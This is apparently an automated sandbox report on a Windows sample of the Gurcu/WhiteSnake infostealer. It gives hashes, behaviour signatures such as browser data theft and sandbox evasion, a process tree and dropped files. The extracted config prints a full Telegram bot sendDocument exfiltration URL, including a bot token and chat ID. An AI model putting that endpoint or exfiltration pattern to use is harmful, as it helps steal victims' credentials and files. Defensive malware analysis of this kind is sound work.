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Analysis

  • max time kernel
    93s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/12/2024, 02:15

General

  • Target

    2571a03d8d476c2e0eea7edfb0928706c8499ef590d24db9a3f5757bec795fe0.exe

  • Size

    5.6MB

  • MD5

    50a6880b7a2cfb41d50b9fa34438b8fa

  • SHA1

    c3c557e2a34e6ad0c7fc8b06591d0086a28a8051

  • SHA256

    2571a03d8d476c2e0eea7edfb0928706c8499ef590d24db9a3f5757bec795fe0

  • SHA512

    1f0a8de3b190a658aed5b7f7a6817ba5e99246b1ea988aa7ede16723d7e32003b5cd7bf9513c4c2ff0e1a621bbf62c5e10c403eb48e4c285d9821ac0a7fe7d8a

  • SSDEEP

    98304:aGl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Uc:adOuK6mn9NzgMoYkSIvUcwti7TQlvciE

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot8121067342:AAFL-KN4aKsB4OBMVYX2uU3_ad7ylEISJbY/sendDocument?chat_id=7781867830&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan

Signatures

  • Gurcu family
  • Gurcu, WhiteSnake

    Gurcu aka WhiteSnake is a malware stealer written in C#.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2571a03d8d476c2e0eea7edfb0928706c8499ef590d24db9a3f5757bec795fe0.exe
    "C:\Users\Admin\AppData\Local\Temp\2571a03d8d476c2e0eea7edfb0928706c8499ef590d24db9a3f5757bec795fe0.exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4876
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp7E29.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp7E29.tmp.bat
      2⤵
        PID:2548

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

      Filesize

      1.7MB

      MD5

      65ccd6ecb99899083d43f7c24eb8f869

      SHA1

      27037a9470cc5ed177c0b6688495f3a51996a023

      SHA256

      aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

      SHA512

      533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

    • C:\Users\Admin\AppData\Local\Temp\tmp7E29.tmp.bat

      Filesize

      232B

      MD5

      dee44d614da2ce9641bf6ed6d94ee818

      SHA1

      ab1035aea404eb1709786293cc194e9297976839

      SHA256

      98bfe83ff8b156e932a9324251eaf1e57aad14bae5883a6b98c2ecc47c43d0f1

      SHA512

      5367c4d8532adff30e3f9180ff361befe061916510862838dbe1a76bc15cbdb730dca1a16bae3ab1144d49b93ced1f6876f7d7fd45b436bd3d9ed058d78fc756

    • C:\Users\Admin\AppData\Roaming\AdminUserCash\CREDIT~1

      Filesize

      116KB

      MD5

      f70aa3fa04f0536280f872ad17973c3d

      SHA1

      50a7b889329a92de1b272d0ecf5fce87395d3123

      SHA256

      8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

      SHA512

      30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

    • memory/4876-12-0x000002C22BB70000-0x000002C22BC22000-memory.dmp

      Filesize

      712KB

    • memory/4876-14-0x000002C22BCC0000-0x000002C22BCE2000-memory.dmp

      Filesize

      136KB

    • memory/4876-8-0x00007FFDB5640000-0x00007FFDB6101000-memory.dmp

      Filesize

      10.8MB

    • memory/4876-9-0x000002C22AE40000-0x000002C22AE5E000-memory.dmp

      Filesize

      120KB

    • memory/4876-10-0x000002C22B190000-0x000002C22B1FA000-memory.dmp

      Filesize

      424KB

    • memory/4876-0-0x00007FFDB5643000-0x00007FFDB5645000-memory.dmp

      Filesize

      8KB

    • memory/4876-13-0x000002C22BC70000-0x000002C22BCC0000-memory.dmp

      Filesize

      320KB

    • memory/4876-7-0x000002C22AED0000-0x000002C22AF46000-memory.dmp

      Filesize

      472KB

    • memory/4876-16-0x000002C22BD30000-0x000002C22BD6A000-memory.dmp

      Filesize

      232KB

    • memory/4876-17-0x000002C22BCF0000-0x000002C22BD16000-memory.dmp

      Filesize

      152KB

    • memory/4876-18-0x000002C22C9B0000-0x000002C22CCDE000-memory.dmp

      Filesize

      3.2MB

    • memory/4876-43-0x000002C22BD90000-0x000002C22BDA2000-memory.dmp

      Filesize

      72KB

    • memory/4876-53-0x00007FFDB5640000-0x00007FFDB6101000-memory.dmp

      Filesize

      10.8MB

    • memory/4876-64-0x00007FFDB5640000-0x00007FFDB6101000-memory.dmp

      Filesize

      10.8MB

    • memory/4876-6-0x000002C212740000-0x000002C21274A000-memory.dmp

      Filesize

      40KB

    • memory/4876-1-0x000002C210490000-0x000002C210A28000-memory.dmp

      Filesize

      5.6MB